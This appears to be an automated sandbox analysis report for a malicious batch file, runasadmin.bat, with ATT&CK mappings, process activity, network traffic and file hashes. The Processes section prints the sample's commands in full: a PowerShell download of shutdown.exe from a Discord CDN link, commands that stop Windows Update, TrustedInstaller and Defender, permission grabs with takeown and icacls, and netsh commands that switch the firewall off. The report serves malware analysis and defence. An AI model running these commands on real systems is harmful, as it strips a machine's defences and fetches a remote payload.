Malware Analysis Report

2024-09-11 06:59

Sample ID 240522-wamq9sag3x
Target runasadmin.bat
SHA256 61d3ded7796d8e1e237a9d5b29dfa3c85bd8a7b0851158683b7182c8693efc5f
Tags
discovery evasion execution exploit
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

61d3ded7796d8e1e237a9d5b29dfa3c85bd8a7b0851158683b7182c8693efc5f

Threat Level: Known bad

The file runasadmin.bat was found to be: Known bad.

Malicious Activity Summary

discovery evasion execution exploit

Disables service(s)

Possible privilege escalation attempt

Modifies Windows Firewall

Command and Scripting Interpreter: PowerShell

Modifies file permissions

Launches sc.exe

Delays execution with timeout.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

MITRE ATT&CK Matrix V13

Initial Access
TA0001
Execution
TA0002
System Services
T1569
Service Execution
T1569.002
Command and Scripting Interpreter
T1059
PowerShell
T1059.001
Persistence
TA0003
Create or Modify System Process
T1543
Windows Service
T1543.003
Privilege Escalation
TA0004
Create or Modify System Process
T1543
Windows Service
T1543.003
Defense Evasion
TA0005
Impair Defenses
T1562
Disable or Modify System Firewall
T1562.004
File and Directory Permissions Modification
T1222
Credential Access
TA0006
Discovery
TA0007
Lateral Movement
TA0008
Collection
TA0009
Exfiltration
TA0010
Command and Control
TA0011
Impact
TA0040
Service Stop
T1489
Resource Development
TA0042
Reconnaissance
TA0043

Analysis: static1

Detonation Overview

Reported

2024-05-22 17:43

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-22 17:43

Reported

2024-05-22 17:47

Platform

win10v2004-20240426-en

Max time kernel

31s

Max time network

34s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\runasadmin.bat"

Signatures

Disables service(s)

evasion execution

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Modifies Windows Firewall

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\netsh.exe N/A
N/A N/A C:\Windows\system32\netsh.exe N/A
N/A N/A C:\Windows\system32\netsh.exe N/A
N/A N/A C:\Windows\system32\netsh.exe N/A
N/A N/A C:\Windows\system32\netsh.exe N/A
N/A N/A C:\Windows\system32\netsh.exe N/A
N/A N/A C:\Windows\system32\netsh.exe N/A

Possible privilege escalation attempt

exploit
Description Indicator Process Target
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\takeown.exe N/A

Modifies file permissions

discovery
Description Indicator Process Target
N/A N/A C:\Windows\system32\takeown.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A
N/A N/A C:\Windows\system32\icacls.exe N/A

Launches sc.exe

Description Indicator Process Target
N/A N/A C:\Windows\system32\sc.exe N/A
N/A N/A C:\Windows\system32\sc.exe N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\timeout.exe N/A

Runs net.exe

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1100 wrote to memory of 1956 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1100 wrote to memory of 1956 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1100 wrote to memory of 4104 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\sc.exe
PID 1100 wrote to memory of 4104 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\sc.exe
PID 1100 wrote to memory of 4628 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\sc.exe
PID 1100 wrote to memory of 4628 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\sc.exe
PID 1100 wrote to memory of 3504 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\net.exe
PID 1100 wrote to memory of 3504 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\net.exe
PID 3504 wrote to memory of 4952 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 3504 wrote to memory of 4952 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1100 wrote to memory of 1760 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\net.exe
PID 1100 wrote to memory of 1760 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\net.exe
PID 1760 wrote to memory of 3980 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1760 wrote to memory of 3980 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1100 wrote to memory of 2636 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 1100 wrote to memory of 2636 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\takeown.exe
PID 1100 wrote to memory of 4672 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 1100 wrote to memory of 4672 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 1100 wrote to memory of 4652 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 1100 wrote to memory of 4652 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\icacls.exe
PID 1100 wrote to memory of 3420 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\net.exe
PID 1100 wrote to memory of 3420 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\net.exe
PID 3420 wrote to memory of 2692 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 3420 wrote to memory of 2692 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1100 wrote to memory of 2732 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\net.exe
PID 1100 wrote to memory of 2732 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\net.exe
PID 2732 wrote to memory of 2552 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 2732 wrote to memory of 2552 N/A C:\Windows\system32\net.exe C:\Windows\system32\net1.exe
PID 1100 wrote to memory of 2308 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 1100 wrote to memory of 2308 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 1100 wrote to memory of 2780 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 1100 wrote to memory of 2780 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 1100 wrote to memory of 4268 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 1100 wrote to memory of 4268 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 1100 wrote to memory of 1444 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 1100 wrote to memory of 1444 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 1100 wrote to memory of 5016 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 1100 wrote to memory of 5016 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 1100 wrote to memory of 4904 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 1100 wrote to memory of 4904 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 1100 wrote to memory of 1712 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 1100 wrote to memory of 1712 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\netsh.exe
PID 1100 wrote to memory of 4368 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe
PID 1100 wrote to memory of 4368 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\timeout.exe

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\runasadmin.bat"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command "Invoke-WebRequest https://cdn.discordapp.com/attachments/1239070337228865601/1242889939524259870/shutdown.exe?ex=664f7af5&is=664e2975&hm=8334727a2bec5b610b6e37fcf28e25d2d51052e173836b06f92cce2cff19e593& -OutFile C:\shutdown.exe"

C:\Windows\system32\sc.exe

sc config "wuauserv" start= disabled

C:\Windows\system32\sc.exe

sc config "TrustedInstaller" start= disabled

C:\Windows\system32\net.exe

net stop wuauserv

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop wuauserv

C:\Windows\system32\net.exe

net stop TrustedInstaller

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop TrustedInstaller

C:\Windows\system32\takeown.exe

takeown /F C:\X\Y\Z /A /R

C:\Windows\system32\icacls.exe

icacls C:\X\Y\Z /grant Everyone:F /T

C:\Windows\system32\icacls.exe

icacls . /grant Everyone:F /T /C /Q

C:\Windows\system32\net.exe

net stop "Windows Defender Service"

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "Windows Defender Service"

C:\Windows\system32\net.exe

net stop "Windows Firewall"

C:\Windows\system32\net1.exe

C:\Windows\system32\net1 stop "Windows Firewall"

C:\Windows\system32\netsh.exe

netsh firewall set opmode disable

C:\Windows\system32\netsh.exe

netsh firewall set opmode mode=DISABLE

C:\Windows\system32\netsh.exe

netsh advfirewall set currentprofile state off

C:\Windows\system32\netsh.exe

netsh advfirewall set domainprofile state off

C:\Windows\system32\netsh.exe

netsh advfirewall set privateprofile state off

C:\Windows\system32\netsh.exe

netsh advfirewall set publicprofile state off

C:\Windows\system32\netsh.exe

netsh advfirewall set allprofiles state off

C:\Windows\system32\timeout.exe

timeout /t 1 /nobreak

Network

Country Destination Domain Proto
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 154.211.222.173.in-addr.arpa udp
US 8.8.8.8:53 140.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 g.bing.com udp
US 204.79.197.237:443 g.bing.com tcp
BE 2.17.196.185:443 www.bing.com tcp
US 8.8.8.8:53 237.197.79.204.in-addr.arpa udp
BE 2.17.196.185:443 www.bing.com tcp
US 8.8.8.8:53 185.196.17.2.in-addr.arpa udp
US 8.8.8.8:53 97.17.167.52.in-addr.arpa udp
US 8.8.8.8:53 157.123.68.40.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp

Files

memory/1956-0-0x00007FFCAA423000-0x00007FFCAA425000-memory.dmp

memory/1956-1-0x000001F8CE6E0000-0x000001F8CE702000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5cdywult.iq3.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1956-11-0x00007FFCAA420000-0x00007FFCAAEE1000-memory.dmp

memory/1956-12-0x00007FFCAA420000-0x00007FFCAAEE1000-memory.dmp

memory/1956-15-0x00007FFCAA420000-0x00007FFCAAEE1000-memory.dmp

memory/1956-16-0x00007FFCAA420000-0x00007FFCAAEE1000-memory.dmp